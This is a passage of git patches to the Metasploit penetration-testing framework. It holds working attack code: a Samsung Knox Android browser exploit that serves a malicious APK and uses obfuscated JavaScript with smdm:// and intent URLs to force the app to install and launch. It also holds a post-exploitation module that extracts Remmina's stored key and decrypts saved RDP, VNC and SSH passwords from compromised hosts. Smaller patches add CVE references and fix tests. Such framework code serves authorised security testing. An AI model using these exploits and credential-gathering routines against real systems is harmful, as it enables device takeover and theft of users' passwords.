#{is_head ? 'metadata' : 'payload'}..." - send_response(cli, is_head ? '' : payload.encoded, magic_headers) + if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/ + if req.method.upcase == 'HEAD' + print_status "Serving metadata..." + send_response(cli, '', magic_headers) + else + print_status "Serving payload '#{$1}'..." + @served_payloads[$1] = 1 + send_response(cli, apk_bytes, magic_headers) + end + elsif req.uri =~ /_poll/ + puts "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" + send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain') + elsif req.uri =~ /launch$/ + send_response_html(cli, launch_html) else super end @@ -81,28 +109,62 @@ class Metasploit3 < Msf::Exploit::Remote end def magic_headers - { 'Content-Length' => payload.encoded.length, - 'ETag' => Digest::MD5.hexdigest(payload.encoded), + { 'Content-Length' => apk_bytes.length, + 'ETag' => Digest::MD5.hexdigest(apk_bytes), 'x-amz-meta-apk-version' => datastore['APK_VERSION'] } end def generate_html %Q| - | end def exploit_js + payload_id = rand_word + js_obfuscate %Q| - setInterval(function(){ + function poll() { + var xhr = new XMLHttpRequest(); + xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999); + xhr.onreadystatechange = function(){ + if (xhr.readyState == 4) { + if (xhr.responseText == '1') { + setTimeout(killEnrollment, 100); + } else { + setTimeout(poll, 1000); + setTimeout(enroll,0); + setTimeout(enroll,500); + } + } + }; + xhr.onerror = function(){ setTimeout(poll, 1000); }; + xhr.send(); + } + + function enroll() { var loc = window.location.href.replace(/[/.]$/g, ''); window.location = 'smdm://#{rand_word}?update_url='+ - encodeURIComponent(loc)+'.apk'; - }, 500); + encodeURIComponent(loc)+'/#{payload_id}.apk'; + } + + function killEnrollment() { + window.location = "intent://#{rand_word}?program="+ + "#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end"; + setTimeout(launchApp, 300); + } + + function launchApp() { + window.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end'; + } + + enroll(); + setTimeout(poll,600); | end From 3fb6ee4f7d189a5d5ae58bff32b62fa0173dedbe Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 15 Nov 2014 21:38:11 -0600 Subject: [PATCH 54/99] Remove dead constant. --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index f02cf6a786..49190f623e 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -11,8 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn - VULN_CHECK_JS = "is_vuln = true;" - autopwn_info( :os_name => OperatingSystems::Match::ANDROID, :arch => ARCH_ARMLE, From 5de69ab6a64d91b329c1f8a265159dfa7d688ba9 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 15 Nov 2014 21:39:37 -0600 Subject: [PATCH 55/99] minor syntax fixes. --- .../exploits/android/browser/samsung_knox_smdm_url.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 49190f623e..3a40963941 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -136,12 +136,15 @@ class Metasploit3 < Msf::Exploit::Remote setTimeout(killEnrollment, 100); } else { setTimeout(poll, 1000); - setTimeout(enroll,0); - setTimeout(enroll,500); + setTimeout(enroll, 0); + setTimeout(enroll, 500); } } }; - xhr.onerror = function(){ setTimeout(poll, 1000); }; + xhr.onerror = function(){ + setTimeout(poll, 1000); + setTimeout(enroll, 0); + }; xhr.send(); } From 9fe499449293685981a2d397a760f530a7db3441 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 16 Nov 2014 18:42:53 -0600 Subject: [PATCH 56/99] Chris McNab has been working with MITRE to add these CVEs These CVEs are not live yet, but have been confirmed by cve-assign t --- modules/auxiliary/gather/d20pass.rb | 4 ++++ modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb | 3 ++- modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 3 ++- 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 8e54bf1241..9ed0034a31 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ 'K. Reid Wightman ' ], 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-6663'], + ], 'DisclosureDate' => 'Jan 19 2012' )) diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index a0312223b5..17240bdcf3 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary ['OSVDB', '77455'], ['BID', '50890'], ['EDB', '18189'], - ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'] + ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'], + ['CVE', '2011-4722'] ], 'DisclosureDate' => "Dec 12 2011" )) diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 5a297a5441..146664e239 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '80984'], ['EDB', '18718'], - ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'] + ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'], + ['CVE', '2012-6664'] ], 'Payload' => { From a7aeac5df3025fc92cbdae1b892c6d42f4242c98 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 16 Nov 2014 23:29:54 -0600 Subject: [PATCH 57/99] Fix APK signing on osx. --- lib/msf/core/payload/dalvik.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 66c0345f2b..1e41818092 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -60,6 +60,7 @@ module Msf::Payload::Dalvik # with a key whose validity expires before that date. # """ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + cert.sign(key, OpenSSL::Digest::SHA1.new) return cert, key end end From 105a28d8fd6b9450d82c9f016fe647ecf5572799 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sun, 16 Nov 2014 23:42:40 -0600 Subject: [PATCH 58/99] Run the tests again. --- lib/msf/core/payload/dalvik.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 1e41818092..890130bcfc 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -61,6 +61,7 @@ module Msf::Payload::Dalvik # """ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years cert.sign(key, OpenSSL::Digest::SHA1.new) + return cert, key end end From 2a24151fa8724714c7bb2e2aeaed1bff593f18f1 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 17 Nov 2014 02:02:37 -0600 Subject: [PATCH 59/99] Remove BAP target, payload is flaky. Add warning. --- lib/msf/core/payload/dalvik.rb | 2 ++ .../android/browser/samsung_knox_smdm_url.rb | 28 +++---------------- 2 files changed, 6 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 890130bcfc..0785fbd036 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -60,6 +60,8 @@ module Msf::Payload::Dalvik # with a key whose validity expires before that date. # """ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + + # If this line is left out, signature verification fails on OSX. cert.sign(key, OpenSSL::Digest::SHA1.new) return cert, key diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 3a40963941..301760a493 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -9,23 +9,6 @@ require 'digest/md5' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Exploit::Remote::BrowserAutopwn - - autopwn_info( - :os_name => OperatingSystems::Match::ANDROID, - :arch => ARCH_ARMLE, - :javascript => true, - :rank => ExcellentRanking, - - # For BAP we only allow whitelisted devices/firmwares - # that we have tested: - # - Samsung S4 - :vuln_test => %Q| - is_vuln = navigator.userAgent.match( - /SAMSUNG GT-I9505/ - ); - | - ) # Hash that maps payload ID -> (0|1) if an HTTP request has # been made to download a payload of that ID @@ -56,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Nov 12 2014', 'DefaultTarget' => 0, + 'BrowserRequirements' => { :source => 'script', :os_name => OperatingSystems::Match::ANDROID @@ -150,18 +134,18 @@ class Metasploit3 < Msf::Exploit::Remote function enroll() { var loc = window.location.href.replace(/[/.]$/g, ''); - window.location = 'smdm://#{rand_word}?update_url='+ + top.location = 'smdm://#{rand_word}?update_url='+ encodeURIComponent(loc)+'/#{payload_id}.apk'; } function killEnrollment() { - window.location = "intent://#{rand_word}?program="+ + top.location = "intent://#{rand_word}?program="+ "#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end"; setTimeout(launchApp, 300); } function launchApp() { - window.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end'; + top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end'; } enroll(); @@ -170,10 +154,6 @@ class Metasploit3 < Msf::Exploit::Remote | end - def apk_url - "#{get_uri.chomp('/')}/#{rand_word}.apk" - end - def rand_word Rex::Text.rand_text_alphanumeric(3+rand(12)) end From ba836f2383fb437a2a5320d6cf85d24fe8da0f20 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Mon, 17 Nov 2014 09:17:44 -0600 Subject: [PATCH 60/99] Only calculate thread UUIDs if they are needed MSP-11147 Only calculate thread UUIDs if the thread count exceeds EXPECTED_THREAD_COUNT_AROUND_SUITE. --- lib/metasploit/framework/spec/threads/suite.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 99ef3a636a..9df1aa1e06 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -69,11 +69,6 @@ module Metasploit end thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list - - thread_uuids = thread_list.map { |thread| - thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] - }.compact - thread_count = thread_list.count if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE @@ -82,6 +77,10 @@ module Metasploit if LOG_PATHNAME.exist? caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid + thread_uuids = thread_list.map { |thread| + thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] + }.compact + thread_uuids.each do |thread_uuid| caller = caller_by_thread_uuid[thread_uuid] From e3869ee1ae6739a62dc2211c1546ff07fefdb740 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Mon, 17 Nov 2014 09:30:46 -0600 Subject: [PATCH 61/99] Include Thread status when printing leaked threads MSP-11147 Sometime travis-ci is showing leaked threads even when 'Msf::Framework#threads cleaner' is being used, so I'm adding the `Thread#status` to the data printed about the Thread to see if the sometimes leaked threads have an odd status. There's still a chance that there will be a race-condition between when I call Thread.list and I ask for each Thread's status that the VM could finish aborting a Thread so that status I print isn't the same as the one that caused the Thread to be returned in Thread.list. --- lib/metasploit/framework/spec/threads/suite.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index 9df1aa1e06..c78791c579 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -77,14 +77,18 @@ module Metasploit if LOG_PATHNAME.exist? caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid - thread_uuids = thread_list.map { |thread| - thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] - }.compact + thread_list.each do |thread| + thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] + + # unmanaged thread, such as the main VM thread + unless thread_uuid + next + end - thread_uuids.each do |thread_uuid| caller = caller_by_thread_uuid[thread_uuid] - error_lines << "Thread #{thread_uuid}\n" + error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \ + "and was started here:\n" error_lines.concat(caller) end From fc1635e80ad4d7bbf28be7dbec33e2bd02e97a37 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 17 Nov 2014 10:06:15 -0600 Subject: [PATCH 62/99] Fix BAP JS ref error. --- modules/auxiliary/server/browser_autopwn.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 7a4d3c4144..8f19a9a0c2 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary } function bodyOnLoad() { - var detected_version = window.os_detect.getVersion(); + var detected_version = os_detect.getVersion(); //#{js_debug('detected_version')} report_and_get_exploits(detected_version); } // function bodyOnLoad From cd61975966267cbc31298479c07c5d111731a78d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 17 Nov 2014 10:13:13 -0600 Subject: [PATCH 63/99] Change puts to vprint_debug. --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 301760a493..4fd0df685d 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, apk_bytes, magic_headers) end elsif req.uri =~ /_poll/ - puts "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" + vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain') elsif req.uri =~ /launch$/ send_response_html(cli, launch_html) From 5db7d1edd59bd1c6d8ecf5634c13e28a7ffbe3c5 Mon Sep 17 00:00:00 2001 From: Matt Buck Date: Mon, 17 Nov 2014 10:59:41 -0600 Subject: [PATCH 64/99] Bump mdm version number --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 12ae7c980e..c6492f47a5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -123,7 +123,7 @@ GEM metasploit-model (0.28.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.21.1) + metasploit_data_models (0.21.2) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers From f729a6cf02dba680815a60328d4cc055f23e106a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 31 Jul 2014 17:15:19 -0700 Subject: [PATCH 65/99] Add Remmina RDP/SSH/VNC password gathering --- modules/post/multi/gather/remmina_creds.rb | 174 +++++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/post/multi/gather/remmina_creds.rb diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb new file mode 100644 index 0000000000..abf8c4a42a --- /dev/null +++ b/modules/post/multi/gather/remmina_creds.rb @@ -0,0 +1,174 @@ +# encoding: UTF-8 +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'UNIX Gather Remmina Credentials', + 'Description' => %q( + Post module to obtain credentials saved for RDP and VNC + from Remmina's configuration files. These are + encrypted with 3DES using a 256-bit key generated by + Remmina which is (by design) stored in (relatively) + plain text in a file that must be properly protected. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell meterpreter) + )) + end + + def run + creds = extract_all_creds + if creds.empty? + print_status('No Reminna credentials collected') + else + creds.each do |cred| + report_auth_info(cred) + end + print_good("Collected #{creds.size} sets of Remmina credentials") + end + end + + def decrypt(secret, data) + c = OpenSSL::Cipher::Cipher.new('des3') + key_data = Base64.decode64(secret) + # the key is the first 24-bytes of the secret + c.key = key_data[0,24] + # the IV is the last 8 bytes of the secret + c.iv = key_data[24,8] + # passwords less than 16 characters are padded with nulls + c.padding = 0 + c.decrypt + p = c.update(Base64.decode64(data)) + p << c.final + # trim null-padded, < 16 character passwords + p.gsub(/\x00*$/, '') + end + + # Extracts all remmina creds found anywhere on the target + def extract_all_creds + creds = [] + user_dirs = enum_user_directories + if user_dirs.empty? + print_error('No user directories found') + else + vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories") + # walk through each user directory + enum_user_directories.each do |user_dir| + remmina_dir = ::File.join(user_dir, '.remmina') + pref_file = ::File.join(remmina_dir, 'remmina.pref') + next unless file?(pref_file) + + vprint_status("Extracting secret key from #{pref_file}") + remmina_prefs = get_settings(pref_file) + if remmina_prefs.empty? + print_error("Unable to extract Remmina settings from #{pref_file}") + next + end + + secret = remmina_prefs['secret'] + if secret + vprint_good("Extracted secret #{secret} from #{pref_file}") + else + print_error("No Remmina secret key found in #{pref_file}") + next + end + + # look for any \d+\.remmina files which contain the creds + cred_files = [] + dir(remmina_dir).each do |entry| + if entry =~ /^\d+\.remmina$/ + cred_files << ::File.join(remmina_dir, entry) + end + end + + if cred_files.empty? + vprint_status("No Remmina credential files in #{remmina_dir}") + else + creds |= extract_creds(secret, cred_files) + end + end + end + creds + end + + def extract_creds(secret, files) + creds = [] + files.each do |file| + settings = get_settings(file) + if settings.empty? + print_error("No settings found in #{file}") + next + end + + # get protocol, host, user + proto = settings['protocol'] + host = settings['server'] + case proto + when 'RDP' + port = 3389 + user = settings['username'] + when 'VNC' + port = 5900 + domain = settings['domain'] + if domain.blank? + user = settings['username'] + else + user = domain + '\\' + settings['username'] + end + when 'SFTP', 'SSH' + user = settings['ssh_username'] + port = 22 + else + print_error("Unsupported protocol: #{proto}") + next + end + + # get the password + encrypted_password = settings['password'] + if encrypted_password.blank? + # in my testing, the box to save SSH passwords was disabled. + password = nil + else + password = decrypt(secret, encrypted_password) + end + + if host && user + creds << + { + # this fails when the setting is localhost (uncommon, but it could happen) or when it is a simple string. huh? + # :host => host, + :host => session.session_host, + :port => port, + :sname => proto.downcase, + :user => user, + :pass => password, + :active => true + } + else + print_error("Didn't find host and user in #{file}") + end + end + creds + end + + def get_settings(file) + settings = {} + read_file(file).split("\n").each do |line| + if line =~ /^\s*([^#][^=]+)=(.*)/ + settings[Regexp.last_match(1)] = Regexp.last_match(2) + end + end + settings + end +end From e76373340e601bf587306a3f957b76dca501ab4e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 31 Jul 2014 17:34:17 -0700 Subject: [PATCH 66/99] Correct some Rubocop things that I agree with --- modules/post/multi/gather/remmina_creds.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index abf8c4a42a..7af39cae67 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -42,10 +42,10 @@ class Metasploit3 < Msf::Post def decrypt(secret, data) c = OpenSSL::Cipher::Cipher.new('des3') key_data = Base64.decode64(secret) - # the key is the first 24-bytes of the secret - c.key = key_data[0,24] + # the key is the first 24 bytes of the secret + c.key = key_data[0, 24] # the IV is the last 8 bytes of the secret - c.iv = key_data[24,8] + c.iv = key_data[24, 8] # passwords less than 16 characters are padded with nulls c.padding = 0 c.decrypt @@ -147,13 +147,13 @@ class Metasploit3 < Msf::Post creds << { # this fails when the setting is localhost (uncommon, but it could happen) or when it is a simple string. huh? - # :host => host, - :host => session.session_host, - :port => port, - :sname => proto.downcase, - :user => user, - :pass => password, - :active => true + # host: host, + host: session.session_host, + port: port, + sname: proto.downcase, + user: user, + pass: password, + active: true } else print_error("Didn't find host and user in #{file}") From 90e58e9e71d771426f591069fe0f057890430955 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 31 Jul 2014 17:34:58 -0700 Subject: [PATCH 67/99] Binary encoding --- modules/post/multi/gather/remmina_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 7af39cae67..61cdddbf4b 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -1,4 +1,4 @@ -# encoding: UTF-8 +# encoding: binary ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework From 6519b0e2cb49ce479db30d69195c5ddd09959e92 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 31 Jul 2014 17:51:15 -0700 Subject: [PATCH 68/99] Add dir and ls to Msf::Post::File --- lib/msf/core/post/file.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 1d148f7028..05624d9b3a 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -31,6 +31,16 @@ module Msf::Post::File end end + def dir(where = nil) + if session.type == 'meterpreter' + return session.fs.dir.entries(where) + else + return session.shell_command_token("dir #{where}") + end + end + + alias ls dir + # # See if +path+ exists on the remote system and is a directory # From 086f0c02d649bcbbb28422d6e92bb564d3e28147 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 31 Jul 2014 17:51:39 -0700 Subject: [PATCH 69/99] Remove excessive logging --- modules/post/multi/gather/remmina_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 61cdddbf4b..b6093cdef1 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -69,7 +69,6 @@ class Metasploit3 < Msf::Post pref_file = ::File.join(remmina_dir, 'remmina.pref') next unless file?(pref_file) - vprint_status("Extracting secret key from #{pref_file}") remmina_prefs = get_settings(pref_file) if remmina_prefs.empty? print_error("Unable to extract Remmina settings from #{pref_file}") @@ -78,7 +77,7 @@ class Metasploit3 < Msf::Post secret = remmina_prefs['secret'] if secret - vprint_good("Extracted secret #{secret} from #{pref_file}") + vprint_status("Extracted secret #{secret} from #{pref_file}") else print_error("No Remmina secret key found in #{pref_file}") next From 5f1a1f8ed3637c124bd932326ef55a0ccb275ebf Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 8 Aug 2014 18:35:30 -0700 Subject: [PATCH 70/99] Use dir for Windows only, ls for the rest --- lib/msf/core/post/file.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 05624d9b3a..4596c8df66 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -35,7 +35,11 @@ module Msf::Post::File if session.type == 'meterpreter' return session.fs.dir.entries(where) else - return session.shell_command_token("dir #{where}") + if session.platform =~ /win/ + return session.shell_command_token("dir #{where}") + else + return session.shell_command_token("ls #{where}") + end end end From 875d1f9ea00c120e363ff2b50057a750a6c15fe6 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 8 Oct 2014 12:32:52 -0700 Subject: [PATCH 71/99] Convert Remmina credential gatherer to use new credentials model --- modules/post/multi/gather/remmina_creds.rb | 55 ++++++++++++---------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index b6093cdef1..aee18effb7 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -28,14 +28,11 @@ class Metasploit3 < Msf::Post end def run - creds = extract_all_creds - if creds.empty? + creds_count = extract_all_creds + if creds_count == 0 print_status('No Reminna credentials collected') else - creds.each do |cred| - report_auth_info(cred) - end - print_good("Collected #{creds.size} sets of Remmina credentials") + print_good("Collected #{creds_count} sets of Remmina credentials") end end @@ -57,7 +54,7 @@ class Metasploit3 < Msf::Post # Extracts all remmina creds found anywhere on the target def extract_all_creds - creds = [] + creds_count = 0 user_dirs = enum_user_directories if user_dirs.empty? print_error('No user directories found') @@ -94,15 +91,15 @@ class Metasploit3 < Msf::Post if cred_files.empty? vprint_status("No Remmina credential files in #{remmina_dir}") else - creds |= extract_creds(secret, cred_files) + creds_count += extract_creds(secret, cred_files) end end end - creds + creds_count end def extract_creds(secret, files) - creds = [] + creds_count = 0 files.each do |file| settings = get_settings(file) if settings.empty? @@ -142,23 +139,33 @@ class Metasploit3 < Msf::Post password = decrypt(secret, encrypted_password) end - if host && user - creds << - { - # this fails when the setting is localhost (uncommon, but it could happen) or when it is a simple string. huh? - # host: host, - host: session.session_host, - port: port, - sname: proto.downcase, - user: user, - pass: password, - active: true - } + if host && user && password + credential_core = create_credential( + origin_type: :session, + post_reference_name: self.refname, + private_type: :password, + private_data: password, + session_id: session_db_id, + username: user, + workspace_id: myworkspace_id + ) + login_data = { + address: host, + port: port, + protocol: 'tcp', + service_name: proto.downcase, + core: credential_core, + access_level: 'User', + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) + creds_count += 1 else - print_error("Didn't find host and user in #{file}") + vprint_error("No host, user and password in #{file}") end end - creds + creds_count end def get_settings(file) From e5bb13a6091743d6116a497eed9afa2fd1338d16 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 8 Oct 2014 12:48:49 -0700 Subject: [PATCH 72/99] If remmina config files are missing data for creds, tell me what --- modules/post/multi/gather/remmina_creds.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index aee18effb7..4b3f12fa1b 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -162,7 +162,11 @@ class Metasploit3 < Msf::Post create_credential_login(login_data) creds_count += 1 else - vprint_error("No host, user and password in #{file}") + missing = [] + missing << 'host' unless host + missing << 'user' unless user + missing << 'password' unless password + vprint_error("No #{missing.join(',')} in #{file}") end end creds_count From 6e1cdfde369abb6052e3e19b31a3def12206836e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 30 Oct 2014 16:11:13 -0700 Subject: [PATCH 73/99] Rip out create_credential* stuff. Use what works --- modules/post/multi/gather/remmina_creds.rb | 78 ++++++++++------------ 1 file changed, 35 insertions(+), 43 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 4b3f12fa1b..ebff190234 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -11,28 +11,40 @@ class Metasploit3 < Msf::Post include Msf::Post::Unix def initialize(info = {}) - super(update_info(info, - 'Name' => 'UNIX Gather Remmina Credentials', - 'Description' => %q( - Post module to obtain credentials saved for RDP and VNC - from Remmina's configuration files. These are - encrypted with 3DES using a 256-bit key generated by - Remmina which is (by design) stored in (relatively) - plain text in a file that must be properly protected. - ), - 'License' => MSF_LICENSE, - 'Author' => ['Jon Hart '], - 'Platform' => %w(bsd linux osx unix), - 'SessionTypes' => %w(shell meterpreter) - )) + super(update_info( + info, + 'Name' => 'UNIX Gather Remmina Credentials', + 'Description' => + "Post module to obtain credentials saved for RDP and VNC + from Remmina's configuration files. These are + encrypted with 3DES using a 256-bit key generated by + Remmina which is (by design) stored in (relatively) + plain text in a file that must be properly protected.", + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell meterpreter) + )) end def run - creds_count = 